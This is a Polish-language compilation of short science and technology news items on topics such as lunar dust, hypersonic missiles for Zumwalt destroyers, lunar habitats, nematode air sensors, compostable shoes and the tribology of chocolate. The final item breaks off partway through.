W opublikowanym niedawno artykule opisano nową technologię przeciwpyłową, która mogłaby rozwiązać problem pyłu księżycowego w statkach kosmicznych poprzez modyfikację geometrii płaskich powierzchni w celu wytworzenia gęsto upakowanej nanoskalnej sieci struktur piramidalnych. Naukowcy twierdzą, że technika ta może zmniejszyć przyczepność pyłu nawet o 90% w porównaniu z niezmodyfikowanymi powierzchniami.

Czytaj też: Zaproponowana baza księżycowa poskromi potęgę luster, ułatwiając podbój Księżyca

Jednak technologia ta nie została jeszcze przetestowana na rzeczywistym pyle księżycowym lub w warunkach kosmicznych. Istnieją inne wyzwania i czynniki, które należy rozważyć przed zastosowaniem tej technologii w statkach kosmicznych, takie jak trwałość, koszt, waga i kompatybilność z innymi materiałami. Dlatego jest zbyt wcześnie, aby stwierdzić, że technologia ta może całkowicie rozwiązać problem pyłu księżycowego, ale jest obiecującą propozycją.

Dowiedzieliśmy się właśnie o najnowszym kontrakcie, którego doczekała się firma Lockheed Martin. W jego ramach amerykański producent sprzętu wojskowego z najwyższej półki wprowadzi na pokład potężnych niszczycielu typu Zumwalt wyjątkowy rodzaj wyrzutni pocisków.

Najpotężniejsze amerykańskie pociski trafią na Zumwalty

Kontrakt o wartości około 2 miliardów dolarów dotyczy zainstalowania wyrzutni hipersonicznych pocisków Conventional Prompt Strike (CPS) na trzech niszczycielach typu Zumwalt do połowy dekady. Przypomnijmy, że pierwotny plan obejmował stworzenie 32 okrętów, ale finalnie wyszło na to, że uda się stworzyć tylko 3 egzemplarze tych innowacyjnych projektów typu stealth. Trio, na które marynarka wojenna nie miała do niedawna większego pomysłu, stanie się pierwszymi okrętami, które będą dzierżyć hipersoniczne pociski CPS wystrzeliwane z powierzchni morza.

Czytaj też: Amerykańscy marines przetestowali nowego niszczyciela dronów

Lockheed Martin kontynuuje postęp w zakresie zdolności do uderzenia hipersonicznego dla Stanów Zjednoczonych poprzez ten nowy kontrakt. Wczesne prace projektowe są już w toku. Nasz zespół z niecierpliwością czeka na wsparcie dla myśliwców wojennych, dostarczając więcej opcji, aby jeszcze bardziej chronić Amerykę na morzu

– powiedział Steve Layne, wiceprezes Hypersonic Strike Weapon Systems w Lockheed Martin.

Czytaj też: Kolejny test pierwszego lotniskowca dla dronów. To turecki TCG Anadolu

Pociski te będą zdolne do kontrolowanego lotu z prędkością przekraczającą Mach 5 i będą w stanie przeniknąć przez obecne systemy obrony powietrznej, uderzając w cel z taką siłą, że ich głowica wybuchowa będzie jedynie wisienką na torcie totalnego zniszczenia. Z tego co wiemy, w ramach tego kontraktu Lockheed Martin wraz ze wsparciem inżynierów firm Northrop Grumman i General Dynamics Mission Systems dostarczą systemy wyrzutni, sterowania bronią, integrację platformy oraz elementy pocisku.

W ostatnim czasie w Gettysburgu w Pensylwanii archeolog Steven Brann dokonał oszałamiającego odkrycia podczas przeczesywania ziemi na polu bitwy za pomocą wykrywacza metalu.

Niewybuch odnaleziony na amerykańskim wzgórzu. Przeleżał w ziemi 160 lat

Zwykle tego typu akcje kończą się nazbieraniem różnego rodzaju śmieci oraz narzędzi zarówno z dawnych, jak i dosyć wczesnych czasów, ale tym razem odkrycie było znaczące. Archeolog natknął się bowiem na 160-letni pocisk artyleryjski z czasów wojny secesyjnej, który okazał się niewybuchem, kiedy to został wystrzelony w lipcu 1863 roku.

Czytaj też: Docenione przez żołnierzy urządzenie odstraszające komary może trafić w nasze ręce

Pocisk miał 18-centymetrów długości i ważył około 4,5 kg, a znaleziono go dokładnie 8 lutego na kluczowym w niegdysiejszej bitwie wzgórzu Little Round Top. Po zidentyfikowaniu niewybuchu informacje na jego temat wysłano do odpowiedniego oddziału wojska w Wirginii, który zajął się zneutralizowaniem pocisku. Obecnie trwa badanie jego łuski, która może zdradzić część wcale nie tak odległej historii.

W zakładach Huty Stalowa Wola powstają sprzęty wojskowe różnego rodzaju, a w tym pewien wyjątkowy rodzaj artylerii, którego kojarzy praktycznie cały świat. Mowa o Krabach, których proces produkcji zostanie bezpośrednio dotknięty przez najnowszą inwestycję.

600 mln dla Huty Stalowa Wola. Inwestycja przyspieszy produkcję Krabów

Polskie Kraby są przykładem samobieżnych armatohaubic, które łączą produkowane w Polsce systemy wieżowe AS-90 i podwozie innej haubicy (południowokoreańskiej K9 Thunder). Nie są to oczywiście wierne kopie, bo inżynierowie przystosowali je do wymagań Wojska Polskiego oraz możliwości samego przemysłu. Więcej na ich temat możecie przeczytać w moim poprzednim artykule.

Czytaj też: Docenione przez żołnierzy urządzenie odstraszające komary może trafić w nasze ręce

Zapowiedziana 600-milionowa inwestycja od rządu, czyli z kieszeni każdego z obywateli, zostanie przeznaczona na rozbudowę i modernizacji infrastruktury w zakładach, aby ułatwić i przyspieszyć produkcję właśnie armatohaubic Krab. Oczywiście nie tylko, bo poczynione w toku tej inwestycji ulepszenia linii produkcyjnej wpłynie również na produkcję bojowych wozów piechoty Borsuk, moździerzy Rak i potencjalnie nowych sprzętów na zagranicznej licencji.

Najnowsze badanie w Frontiers in Physiology rzuciło nowe światło na to, jaki wpływ mogą wywierać loty kosmiczne na funkcjonowanie mózgu człowieka. Jest to pierwsze badanie, które podjęło się sprawdzenia tej kwestii, analizując to, jak mózgu pilotów myśliwców reagują w sytuacjach znacznych i częstych zmian obciążeń.

Piloci myśliwców mają inne mózgi od zwyczajnych ludzi. To badanie może być przełomowe

Pewne jest, że ludzki mózg może zmieniać swoją strukturę i funkcję w odpowiedzi na zmieniające się warunki środowiskowe dzięki neuroplastyczności, a podróżowanie w środowisku zerowej grawitacji może być szkodliwe dla zdrowia. Nadal brakuje nam jednak dokładnych danych co do tych zmian i dlatego naukowcy postanowili zbadać pilotów myśliwców odrzutowych, którzy podobnie jak astronauci, są poddawani znacznym różnicom sił grawitacji i muszą być w stanie szybko przetwarzać często sprzeczne informacje sensoryczne.

Czytaj też: Docenione przez żołnierzy urządzenie odstraszające komary może trafić w nasze ręce

F-16

W ramach badania przeanalizowano mózgi pilotów myśliwców F-16, który przelatali średnio 1025 godzin w swojej karierze i porównano je z grupą kontrolną, której przedstawiciele nigdy nie zasiedli za sterami tak zaawansowanych samolotów. W celu badania każdemu uczestnikowi wykonano skany rezonansu magnetycznego, aby zaobserwować zmiany co do tego, jak różne regiony mózgu oddziałują ze sobą.

Czytaj też: Lotnictwo USA rozpoczyna kolejny wyścig zbrojeń. Będzie bardzo, ale to bardzo szybko

Dane wykazały, że u pilotów istniało większe połączenie pomiędzy obszarami mózgu, które przetwarzają informacje wizualne oraz informacje o zmianach pozycji głowy, kierunku i ruchu. Gdyby tego było mało, piloci z większą liczbą godzin lotu wykazywali większe zmiany w mózgu niż ci z mniejszą zwłaszcza w obszarach mózgu odpowiedzialnych za przetwarzanie złożonych informacji. To z kolei sugeruje, że neuroplastyczność wzrasta proporcjonalnie do doświadczenia lotniczego, a naukowcy mają nadzieję, że same wnioski z badań mogą przydać się w przyszłych badaniach mających na celu lepsze zrozumienie wpływu podróży kosmicznych na funkcjonowanie mózgu.

Austriacka firma PneumoCell zaprezentowała swoją nową koncepcję nadmuchiwanego habitatu o nazwie PneumoPlanet, którego agencje kosmiczne mogłyby wykorzystać np. w swojej misji Artemis. Siedlisko to mogłoby pomieścić do 32 astronautów i zawierać 16 szklarni, które umożliwiłyby uprawę żywności w surowym środowisku księżycowym.

PneumoPlanet to na wskroś wyjątkowa baza księżycowa

Księżycowy biegun południowy jest obecnie potencjalnie najlepszym miejscem do osiedlenia się ze względu na fakt, że jest to idealne miejsce do wydobywania lodu, który byłby używany do produkcji wody i tlenu. Firma PneumoCell informuje, że jej habitat PneumoPlanet powinien znaleźć się w „stale zacienionym regionie”, czyli najlepiej w kraterze w pobliżu jednego z biegunów księżycowych, który może kryć duże ilości lodu do wydobycia.

Czytaj też: Takiego lądowania na Księżycu jeszcze nie było. Japończycy chcą być pierwsi

PneumoCell otrzymał fundusze od Europejskiej Agencji Kosmicznej (ESA) na rozwój swojej ultralekkiej nadmuchiwanej konstrukcji. Ta po wzniesieniu byłaby pokrywana regolitem księżycowym w celu ochrony przed promieniowaniem, a przy tym przetwarzało tlen i zapewniało żywność za pomocą energii słonecznej. Wszystko dzięki nowatorskiej technologii lustrzanej, która działałaby poprzez odbijanie widzialnego światła słonecznego w optymalnym zakresie długości fal do szklarni jednocześnie bez odbijania szkodliwego promieniowania.

Czytaj też: Pierwszy rurociąg na Księżycu. Co ma zamiar zrobić NASA?

Dzięki temu szklarnia będzie mogła działać jako naturalne źródło pożywienia i przestrzeń życiowa dla załogi. Same lustra PneumoPlanet będą zawieszone za pomocą rurek z włókna węglowego przymocowanych do obrotowego mechanizmu magnetycznego, który śledzi światło słoneczne. W efekcie system luster pozwoli przekierowywać naturalne światło słoneczne przez przezroczystą folię, zapewniając 65 kilowatów energii, a dokładniej mówiąc 265 watów na metr kwadratowy, co ma być idealną ilością energii do umożliwienia fotosyntezy i wzrostu żywności.

Rosyjski statek kosmiczny Progress 82, który zadokował do Międzynarodowej Stacji Kosmicznej (ISS) 28 października, zaczął przeciekać. Tak oto Rosjanie mają kolejny problem na Międzynarodowej Stacji Kosmicznej, który ponownie stawia ich sprzęt w złym świetle.

Rosyjski sprzęt ponownie zaczął generować problemy na Międzynarodowej Stacji Kosmicznej

Wyciek pochodzi ze statku kosmicznego Progress 82, który został wysłany na ISS w celu dostarczenia zaopatrzenia. Agencja kosmiczna oświadczyła, że ten problem nie stanowi bezpośredniego zagrożenia dla załogi na pokładzie i nie wpłynie na działania kosmonautów.

Badana jest przyczyna utraty chłodziwa w statku kosmicznym Progress 82. Włazy między Progressem 82 a stacją są otwarte, a temperatury i ciśnienia na pokładzie stacji są w normie. Załoga, która została poinformowana o wycieku z pętli chłodzącej, nie jest w żadnym niebezpieczeństwie i kontynuuje normalne operacje na stacji kosmicznej

– poinformowała NASA.

Progress 82 dotarł na ISS 28 października i miał opuścić stację 17 lutego. Te rosyjskie statki kosmiczne są zaprojektowane tak, by spłonąć w atmosferze ziemskiej po zakończeniu misji zaopatrzeniowych, więc rosyjska agencja nie ma możliwości zbadania wycieku na ziemi.

Czytaj też: Komórki macierzyste będą hodowane w kosmosie? Okaże się po badaniu na ISS

Co ciekawe, to nie pierwszy raz, gdy na rosyjskim statku kosmicznym doszło do wycieku w ciągu ostatnich miesięcy. W grudniu ubiegłego roku podobna nieszczelność dręczyła statek kosmiczny MS-22 przez domniemane uderzenie meteorytu.

Najnowsze badania ujawniły niespodziewane wnioski na temat ruchu magmy pod wulkanami. Naukowcy od dawna uważali, że magma płynie bezpośrednio z płaszcza na powierzchnię wulkanu, ale okazało się, że nie zawsze tak jest.

Erupcje wulkanów będą lepiej wskazywane. Naukowcy odkryli właśnie tajemnice magmy

Wedle najnowszych badań magma może obrać nie bezpośrednią, a bardziej okrężną drogę, płynąc przez kanały i kieszenie głęboko pod powierzchnią ziemi, zanim ostatecznie dotrze na szczyt wulkanu. To nowe zrozumienie ruchu magmy zapewnia ważne implikacje dla przewidywania aktywności wulkanicznej. W przeszłości naukowcy polegali na monitorowaniu poziomu ciśnienia w komorze magmowej, aby określić prawdopodobieństwo erupcji. Jednak ta metoda nie zawsze może być dokładna, ponieważ magma może przepływać podziemnymi kanałami zamiast gromadzić się w komorze.

Czytaj też: Chcecie może przydatne domowe robaki? Oto szalony czujnik czystości powietrza

Aby lepiej zrozumieć ten złożony proces, naukowcy wykorzystują zaawansowane techniki, takie jak sejsmologia, geochemia i geofizyka do badania ścieżek magmy pod wulkanami. Analizując fale i wzory generowane przez trzęsienia ziemi i inne wydarzenia geologiczne, mogą uzyskać jaśniejszy obraz podróży magmy z płaszcza na powierzchnię. Dlatego też wyniki tych badań mogą znacznie poprawić naszą zdolność do przewidywania i przygotowywania się do erupcji wulkanów.

Poprzez lepsze zrozumienie drogi, jaką magma pokonuje pod wulkanami, naukowcy mogą dokładniej ocenić ryzyko erupcji i podjąć odpowiednie kroki w celu ochrony społeczności żyjących w pobliżu aktywnych wulkanów.

Robaki mają być częścią naszej przyszłości i to do tego stopnia, że staną się stałymi bywalcami naszego codziennego menu. Zanim jednak do tego dojdzie, domowe robaki prędzej wylądują w specjalistycznych czujnikach niż na talerzu każdego z nas.

Domowe robaki jako czujnik czystości powietrza

Oddychanie czystym powietrzem jest kluczowe dla naszego samopoczucia, ale co, jeśli powietrze w naszych domach lub biurach nie jest tak czyste, jak może nam się wydawać? Nowe badanie chce nam zapewnić taką możliwość z pomocą maleńkich świecących robaków. Zespół naukowców z University of Turku w Finlandii przeprowadził badania z wykorzystaniem dwóch szczepów nicieni gatunku Caenorhabditis elegans, które mierzą zaledwie milimetr długości.

Te specjalne nicienie mają zdolność do wytwarzania zielonego białka fluorescencyjnego (GFP) w momencie kontaktu z toksycznymi związkami biologicznymi lub syntetycznymi. Kluczowe w nich jest to, że poziom ich fluorescencji jest wprost proporcjonalny do stężenia szkodliwych związków w powietrzu i może być mierzony za pomocą mikroskopii lub spektrometrii. Co ciekawe, wcześniej te wrażliwe na środowisko nicienie były wykorzystywane do monitorowania zanieczyszczenia metalami ciężkimi na zewnątrz, ale to w tym badaniu po raz pierwszy przetestowano je na zanieczyszczeniach powietrza w pomieszczeniach.

Czytaj też: Gigantyczne robaki zamieszkiwały kiedyś oceany. Miały nawet 3 metry długości

Wyniki były z kolei zdumiewające – robaki fluoryzowały pod wpływem czarnej pleśni, ostrych chemikaliów pochodzących z produktów czyszczących oraz lotnych związków organicznych pochodzących ze zniszczonych plastikowych dywanów. Część z nich zdechła z powodu poziomu zanieczyszczenia, a choć obecnie nie da się użyć do identyfikacji konkretnych toksycznych związków w powietrzu, to mogą zapewnić wiarygodną ocenę ryzyka dla zdrowia związanego z powietrzem w pomieszczeniach i potrzebę dokładniejszych badań technicznych.

Finalnie te maleńkie świecące robaczki mogą być kluczem do zapewnienia czystego i zdrowego powietrza w pomieszczeniach, zapewniając nam prosty i skuteczny sposób monitorowania jakości powietrza, którym oddychamy.

Od dawna wiadome jest, że to okna i drzwi odpowiadają za największy odsetek strat ciepła w budynku. Takie coś w dobie wszechobecnego dbania o obniżanie zużycia energii elektrycznej jest świetną okazją dla naukowców, którzy mogą wykazać się i rozwiązać ten problem. Najnowszym przykładem tego są wielowarstwowe wodne okna od zespołu z University of Toronto.

Kontrolowanie ilości, rodzaju i kierunku energii słonecznej to klucz do obniżenia zużycia energii

Zespół naukowców z University of Toronto opracował nowy typ inteligentnego okna, które można dostosować do kilku energooszczędnych trybów filtracji światła. Obecne już w sprzedaży okna fotochromowe mogą być regulowane, aby kontrolować ilość światła słonecznego, które dostaje się do pomieszczenia, ale nowy projekt wielowarstwowego wodnego okna wyróżnia się tym, że może również regulować ostrość światła widzialnego.

Czytaj też: Wyjątkowe wielomateriałowe wydruki 3D pozwoliły stworzyć sztuczne włókna mięśniowe

Wchodząc w szczegóły, ten nowy rodzaj okna składa się z wielu arkuszy przezroczystego plastiku, z których każdy posiada sieć mikrokanałów. To dzięki nim można całkowicie zmieniać charakter okien, pompując do ich kanałów płyny zawierające różne pigmenty. Przykładowo pompowanie pigmentu blokującego światło widzialne do jednego arkusza i pigmentu blokującego podczerwień do innego arkusza sprawia, że okno przepuszcza światło widzialne, ale blokuje to podczerwone (zwiększające temperaturę).

Prototyp takiego okna został już przetestowany, a zebrane z niego dane przepuszczone przez symulatory. Wedle wyników tego typu wielowarstwowe wodne okna do modulowania transmisji światła podczerwonego mogłyby zmniejszyć zużycie energii w budynku o 25% rocznie, a gdyby były wykorzystywane również do kontroli światła widzialnego, redukcja zużycia energii mogłaby skoczyć do 50%.

Jeśli nie wierzycie w globalne ocieplenie, to jak wytłumaczycie to, że jedyny pojazd na Antarktydzie musiał przejść zmiany, bo… zrobiło się w nim za ciepło? To właśnie spotkało Venturi Antarctica.

Ocieplenie rejonu wymusiło zmodernizowanie pojazdu Venturi Antarctica na Antarktydzie

Pojazd Venturi Antarctica jest używany w stacji Księżniczki Elżbiety należącej do Belgii od grudnia 2021 roku i do działania wykorzystuje dwa silniki o mocy 80 koni mechanicznych i akumulator o pojemności 52,6 kWh. Jego głównym celem jest umożliwienie naukowcom prowadzenia prac bez przyczyniania się do emisji i zanieczyszczeń w okolicy, a jego projekt powstał od podstaw po to, aby wytrzymywać temperaturę około -50 stopni Celsjusza. Problem w tym, że obecnie na obszarze polarnym panują temperatury rzędu -10 stopni Celsjusza.

Czytaj też: Globalne ocieplenie czy ochłodzenie? Wymieranie ordowickie zagwozdką dla badaczy

To z kolei wymusiło na ekipie zarządzającej pojazdem Venturi Antarctica przeprowadzenia stosownych zmian w zeszłym roku, aby dostosować go do rosnących temperatur w regionie. W tym celu dodano do niego system wentylacji i wloty powietrza, aby zapobiec przegrzaniu kokpitu oraz elektroniki. Dodatkowo koła zębate zostały przeprojektowane tak, aby lepiej radzić sobie z cieplejszym śniegiem, który przywierał do nich i powodował wibracje, kiedy się zbijał i twardniał, a to nie koniec nadchodzących modernizacji. Te w przyszłości będą dotyczyły ulepszenia po stronie ostatnio zmniejszonego zasięgu spowodowanego przez zmienne warunki śniegowe.

Zespół naukowców na University of Florida opracował specjalne narzędzie, które zapewnia ochronę przed komarami przez dłuższy czas i nie wymaga ciepła, elektryczności ani kontaktu ze skórą. Głównym jego przeznaczeniem jest wojsko.

Urządzenie odstraszające komary dla amerykańskiego wojska

W obecnej formie prototypowe urządzenie do odstraszania komarów sprowadza się do działającego pasywnie 2,5-centymetrowego dozownika repelentu transflutryny, a więc środka owadobójczego, który jest bezpieczny dla ludzi i zwierząt. Składa się jedynie z trzech plastikowych tub oraz bawełny nasączonej transflutryną, wystarczającą obecnie na cztery tygodnie działania. Zespół planuje jednak ulepszenia, które pozwolą finalnej wersji produkowanej z użyciem drukarek 3D zapewniać formę odstraszania komarów przez nawet trzy miesiące.

Czytaj też: Lotnictwo USA rozpoczyna kolejny wyścig zbrojeń. Będzie bardzo, ale to bardzo szybko

Urządzeniem zainteresowało się wojsko USA, które walczy z komarami zarówno po to, aby zapewnić swojemu personelowi komfort, jak i zapobiec roznoszeniu się chorób wszelakiej maści. Pierwsze testy wykazały, że 70 tego typu dozowników rozwieszonych na dużym namiocie wojskowym rzeczywiście było w stanie powstrzymać napływ komarów (lub zabijać je w ciągu doby), dlatego obecnie naukowcy składają wniosek o patent na to urządzenie, a rząd jest zainteresowany dalszymi badaniami, aby w końcu można było je skomercjalizować na potrzeby rynku cywilnego.

Słodkowodny glon medakamo hakoo został po raz pierwszy odkryty kilka lat temu przez profesora Tsuneyoshi Kuroiwa z University of Tokyo i teraz zalicza istny renesans w środowisku naukowym.

Wyjątkowy glon w domowych akwariach. Jego unikalność sprawia, że może odmienić rolę glonów w przemyśle

Mikroalgi zwane też mikroskopijnymi glonami to jedno- lub wielokomórkowe rośliny wodne, które mogą fotosyntetyzować i tym samym produkować tlen. Występują w wodach słodkich oraz słonych i są ważną częścią łańcucha pokarmowego dla innych form życia wodnego. W ciągu ostatnich lat stały się szeroko stosowane w produktach takich jak biopaliwa, suplementy diety i kosmetyki, a ich nowo opisany rodzaj został znaleziony w domowym akwarium i może okazać się szczególnie przydatny.

Czytaj też: Nieaktywny szyb naftowy w roli magazynu ciepła. Co tym razem wymyślili naukowcy?

W najnowszych badaniach przeprowadzonych na tym samym uniwersytecie odkryto, że znaleziony w domowym akwarium glon posiada tylko jedno mitochondrium i chloroplast, co jest jego unikalną cechą… ale nie jedyną. Jego cykl komórkowy jest również silnie zsynchronizowany z cyklem dnia i nocy, co jest kluczowe dla efektywnej i stabilnej bioprodukcji.

Ze względu na te nieodłączne cechy i niezwykle mały rozmiar, ten glon może być hodowany przy dużej gęstości komórek, co tym samym umożliwiłoby masową produkcję produktów na bazie glonów niższymi kosztami. Dlatego też naukowcy badają teraz metody hodowli glonu medakamo hakoo na skalę komercyjną.

Widziałem już pomysły na wykorzystywanie opuszczonych kopalni w roli imponujących akumulatorów, ale jeszcze nigdy nie słyszałem o pomyśle wykorzystania opuszczonych szybów naftowych i gazowych do magazynowania ciepła. To właśnie zaproponował zespół naukowców z m.in. University of Illinois at Urbana-Champaign.

Szyb naftowy w roli magazynu ciepła

Specjaliści doczekali się publikacji swoich odkryć i założeń w magazynie Renewable Energy. W niej możemy przeczytać, że to pierwsze badania terenowe systemu magazynowania energii geotermalnej w Illinois Basen, a więc strukturze geologicznej znajdującej się głęboko pod powierzchnią ziemi. Wedle naukowców to „zagłębie niskotemperaturowe”, co oznacza, że nie wytwarza naturalnie energii geotermalnej, która mogłaby być wykorzystywana do produkcji energii elektrycznej.

Czytaj też: Tymi butami nawieziesz swoje rośliny. To pierwsze na świecie kompostowalne obuwie

Okazało się jednak, że do tematu można podejść inaczej, bo formacje w głębszych warstwach podpowierzchniowych mają właściwości termiczne i hydrauliczne potrzebne do utworzenia sztucznego zbiornika geotermalnego. Wszystko przez to, że „podpowierzchniowa formacja skalna idealna do wydobycia ropy i gazu, czyni ją również idealną do przechowywania energii geotermalnej”. Stąd pomysł wykorzystania nieaktywnych już odwiertów w takich miejscach w roli magazynów ciepła.

Sens tego pomysłu udowodniono na podstawie eksperymentu, w którym naukowcy wprowadzili wstępnie podgrzany płyn do piaskowca Cypress, a więc porowatej jednostki skalnej znajdującej się około 900 metrów pod powierzchnią ziemi. Następnie zamknęli odwiert i monitorowali zmiany warunków wewnątrz, udowadniając, że „proces może utrzymać wydajność przechowywania termicznego na poziomie 82%”. To z kolei jest równoznaczne ze średnim całkowitym kosztem netto wytwarzania energii elektrycznej w wysokości 0,138 dolarów za kilowatogodzinę, co czyni proponowany system ekonomicznie opłacalnym i zyskownym.

Izraelski startup Balena, który zajmuje się materiałoznawstwem i ma dosyć zaśmiecania Ziemi, pochwalił się swoimi unikalnymi butami. Te można nie tylko używać w tradycyjny sposób, ale też np. nawozić nimi rośliny, kiedy ich czas dobiegnie końca. Są to bowiem pierwsze na świecie kompostowalne obuwie.

Pierwsze na świecie kompostowalne obuwie już służą pierwszym użytkownikom

Pierwsze na świecie kompostowalne obuwie wykorzystuje pionierskie tworzywo sztuczne o nazwie BioCir. To zachowuje swój kształt do czasu, aż nie zostanie wystawione na działanie specyficznych bakterii i warunków panujących akurat w kompostowni, co zabezpiecza stworzone z niego przedmioty przed rozpadnięciem się na oczach kupującego.

Czytaj też: Bambusowe szczoteczki do zębów – ekologia na papierze?

Kiedy patrzymy na przyszłość zrównoważonego rozwoju, jasne jest, że sam recykling nie rozwiązuje problemu, kierunek musi zwrócić się w kierunku modelu gospodarki cyrkularnej. Zwróciliśmy się do naturalnych cykli Ziemi w poszukiwaniu odpowiedzi, bo musimy przejść od tradycyjnego recyklingu mechanicznego, w którym topimy produkt i próbujemy stworzyć inny produkt, do metody zwanej recyklingiem biologicznym. Ta odnawialna koncepcja czerpie z przykładu roślin i drzew. Natura ostatecznie rozkłada się i wraca do stanu wyjściowego, aby ponownie rozpocząć cykl

– powiedział NoCamels David Roubach, dyrektor generalny firmy Balena.

Firma wprowadziła już na rynek w Tel Awiwie aż tysiąc pierwszych par męskich i damskich butów BioCir o zapachu cynamonu. Wyznaczono również miejsca odbioru, w których zniszczone buty będzie można odstawiać, aby przerobić je na kompost.

Nowo opracowany przez naukowców system produkuje wielomateriałowe filamenty i może pochwalić się potencjalnie bardzo użyteczną konstrukcją spiralną. Użyteczność systemu już wykazano, tworząc wyjątkowe mięśnie.

Głowica drukująca z czterema oddzielnymi wkładami, czyli jak tworzyć wyjątkowe wielomateriałowe wydruki 3D

Eksperymentalny układ został opracowany przez zespół z Harvard University i sprowadza się do głowicy drukującej. Każda z nich zawiera cztery oddzielne wkłady, z których każdy może zawierać inny materiał, ale wszystkie cztery wkłady trafiają do jednej dyszy, która finalnie wytłacza pojedynczy filament składający się z ciągłych pasm całej czwórki. Jest to o tyle ważne, że dysza obraca się w trakcie procesu wytłaczania, co sprawia, że pasma skręcają się wokół siebie w spiralny wzór, który jest często spotykany w naturze, gdzie pozwala włóknom mięśniowym kurczyć się, a łodygom roślin zmieniać kształt.

Czytaj też: Na ratunek rafom koralowym! Wydruki sztucznych raf w 3D mogą pomóc

W jednym z eksperymentów naukowcy stworzyli sztuczne włókna mięśniowe, w których para przewodzących pasm elastomeru wiła się wokół siebie w miękkiej matrycy elastomerowej. Kiedy do włókna przyłożono napięcie, to stosownie na nie reagowało, kurcząc się w stopniu, który zależał od tego, jak mocno spiralne elektrody były zwinięte podczas drukowania.

Czytaj też: Zamiast do kompostownika trafia do drukarki 3D. Jak Polacy drukują z chleba?

W podobny sposób naukowcy stworzyli również kratowe struktury, składające się z krzyżowo splecionych włókien, które służyły jako sprężyny. Zespół dopracowuje teraz technologię, mając na uwadze inne możliwe zastosowania, co zostało szerzej opisane w publikacji w dzienniku Nature.

Rurociąg na Księżycu to coś, co pozornie może wydawać się na tę chwilę fikcją, ale po zauważeniu sporego problemu, NASA rzeczywiście rozważa stworzenie go w różnych miejscach wokół księżycowego bieguna południowego, aby ułatwić nadchodzące misje Artemis.

Tlenowy rurociąg na Księżycu rozwiązałby ogromne problemy

Niejaki Peter Curreri z Lunar Resources Inc. wyszczególnił problemy z istniejącymi planami NASA dotyczącymi transportu tlenu za pomocą łazików w swoim wniosku, który powstał w ramach programu agencji kosmicznej Innovative Advanced Concepts (NIAC). W ramach tego programu 14 zespołów badawczych doczekało się 175 tys. dolarów dofinansowania na rozwój swoich koncepcji związanych z podbojem kosmosu przez ludzkość.

Jedną z propozycji był właśnie księżycowy rurociąg, który oficjalnie nazwany jest mianem Lunar South Pole Oxygen Pipeline (LSPOP). Obecny pomysł na niego obejmuje połączenie z należącym do NASA pomysłem węzła ekstrakcji lodu na księżycowym biegunie południowym, a więc miejscu, gdzie znajdują się ogromne zwłaszcza ilości lodu tuż pod powierzchnią.

Czytaj też: Takiego lądowania na Księżycu jeszcze nie było. Japończycy chcą być pierwsi

Wydobywany na Księżycu lód będzie podstawą do ustanowienia stałej obecności człowieka na Księżycu, ponieważ może być wydobywany i przekształcany w wodę pitną i właśnie tlen. Ten z kolei może być używany do oddychania, jak również do paliwa rakietowego, a obecne plany NASA obejmują jego transportowanie w łazikach. Nie jest to idealne rozwiązanie i ma swoje liczne problemy, ale proponowany tlenowy rurociąg je rozwiązuje, obniżając koszty i ogólną problematyczność. Zwłaszcza że ewentualny wyciek na Księżycu nie spowodowałby zanieczyszczenia, bo wtedy tlen po prostu uciekłby w przestrzeń kosmiczną, ponieważ Księżyc nie posiada atmosfery.

Obecnie proponuje się przynajmniej 5-kilometrowy rurociąg do transportu tlenu prosto ze źródła jego produkcji. Powstawałby etapowo i byłby prawdopodobnie wykonany z aluminium, którego jest pod dostatkiem na księżycowym biegunie południowym.

Minimalizacja przestojów i maksymalizacja produkcji – to właśnie jest celem systemów monitorujących stan obiektów przemysłowych. Wymaga to specjalistycznych narzędzi, które wzbogacili właśnie naukowcy ze Skoltech i Harbin Institute of Technology.

Tak wytrzymałych czujników nikt jeszcze nie opracował. Co jest w nich wyjątkowego?

Dążenie do złotego środka – tak w skrócie można opisać obecne realizowanie procesu odnawiania obiektów przemysłowych. Ten musi mieć miejsce w idealnym momencie, aby zmaksymalizować zysk i ograniczyć przestoje. Dlatego właśnie wspomniani naukowcy opracowali nowy rodzaj systemu czujników optycznych z powłoką aluminiową o wysokiej wytrzymałości, bo mogący wytrzymać warunki panujące wewnątrz wieży destylacyjnej i jednocześnie monitorować jej stan strukturalny.

Czytaj też: Wyczuwanie naprężenia nie było prostsze. Ten czujnik jest dziełem rodem z przyszłości

Społeczeństwo informacyjne zbliża się do punktu, w którym każde urządzenie domowe i obiekt przemysłowy będzie wysyłać całodobowe raporty o tym, co robi i jak się 'czuje’. Być może niekoniecznie zawsze będziesz potrzebował tych informacji, ale będą one tam dostępne, a jednym z obiecujących sposobów ich wykorzystania jest strukturalny monitoring stanu. To znaczy, śledzenie wewnętrznego stanu części składowych mostów, rurociągów, samolotów i tak dalej, aby wskazać przewidywane awarie i umożliwić ukierunkowane interwencje, oszczędzając wiele zasobów i minimalizując czas przestoju. To zupełnie nowe podejście do naprawiania rzeczy

– powiedział współautor badania Arkady Shipulin.

Wspomniany zespół naukowców miał wiele do zrobienia, bo do tej pory nikt nigdy nie umieścił czujników wewnątrz wieży destylacyjnej ze względu na to, jak wymagające jest to środowisko. Specjaliści są jednak dobrej myśli po zaprojektowaniu swojego systemu czujników optycznych, który nie tylko byłby w stanie zbierać niezbędne dane, ale także przetrwałby bardzo wysokie temperatury i agresywne chemikalia.

Istotą problemu jest sam światłowód, który musi być zarówno osłonięty przed środowiskiem w celu ochrony, jak i wystarczająco wystawiony na jego działanie w celu wykrywania. Naukowcom udało się rozwiązać wstępnie ten projekt i teraz mogą przejść do kilku podobnych zadań przed przetestowaniem całego systemu czujników w laboratorium.

W dążeniu do odkrycia tego, co może wydawać się istną magią, naukowcy z University of Leeds wykorzystali sztuczny język, dzięki któremu poznali największą tajemnicę czekolady.

Naukowcy dowiedzieli się, dlaczego tak kochamy czekoladę

Najnowsze odkrycie naukowców objęło wykorzystanie czterech próbek czekolady Lindt Excellence, które zawierały od 70 do 99% kakao. Następnie postanowili zbadać „zachowanie czekolady podczas tarcia” i w tym celu umieścili ją na sztucznym języku opracowanym w 2020 roku. Zapisali się tym samym na kartach historii, bo jak sami twierdzą, był to pierwszy raz, kiedy taka technologia została użyta do zrozumienia magii stojącej za czekoladą.

Po umieszczeniu różnych czekoladek na sztucznym języku, badacze zobrazowali wyniki i następnie wykorzystali dziedzinę inżynierii zwaną trybologią, aby zrozumieć cały proces, w którym czekolada się topi i wchodzi w interakcję ze śliną. Odkryli, że satysfakcjonujące jedwabiste uczucie, jakie czekolada zapewnia w ustach, wynika przede wszystkim z początkowego uwolnienia tłuszczu na języku i sposobu, w jaki kolejne cząstki kakao są pokryte tłuszczem.

